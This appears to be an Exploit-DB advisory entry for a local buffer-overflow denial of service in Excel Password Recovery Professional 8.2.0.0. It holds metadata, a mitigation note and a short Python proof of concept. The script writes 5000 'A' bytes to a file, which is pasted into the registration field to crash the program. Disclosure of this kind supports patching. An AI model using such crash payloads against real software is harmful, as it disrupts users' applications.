Excel Password Recovery Professional

vendor:

by:

Achilles

7.8

CVSS

HIGH

Denial of Service (DoS) Local Buffer Overflow

119

CWE

Product Name: Excel Password Recovery Professional

Affected Version From: 8.2.0.0

Affected Version To: 8.2.0.0

Patch Exists: YES

Related CWE: N/A

CPE: a:recoverlostpassword:excel_password_recovery_professional

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 64

2018

Excel Password Recovery Professional

A buffer overflow vulnerability exists in Excel Password Recovery Professional 8.2.0.0 when a maliciously crafted input is processed. An attacker can exploit this vulnerability to cause a denial of service condition. To exploit this vulnerability, an attacker must first create a maliciously crafted input, copy it to the clipboard, and then paste it into the 'E-Mail and Registrations Code' field of the application. When the 'Register' button is clicked, a denial of service condition will occur.

Mitigation:

Upgrade to the latest version of Excel Password Recovery Professional.

Source

Exploit-DB raw data:

# Exploit Title: Excel Password Recovery Professional 
# Date: 15-12-2018 
# Vendor Homepage:https://www.recoverlostpassword.com/
# Software Link :https://www.recoverlostpassword.com/downloads/excel_password_recovery_pro_trial.exe
# Exploit Author: Achilles
# Tested Version: 8.2.0.0
# Tested on: Windows 7 64
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
 
# Steps to Produce the Crash: 
# 1.- Run python code : Excel_Password_Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Excel Password Recovery Professional
# 4.- Paste the content of EVIL.txt into the field: 'E-Mail and Registrations Code'
# 5.- Click 'Register' and you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 5000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"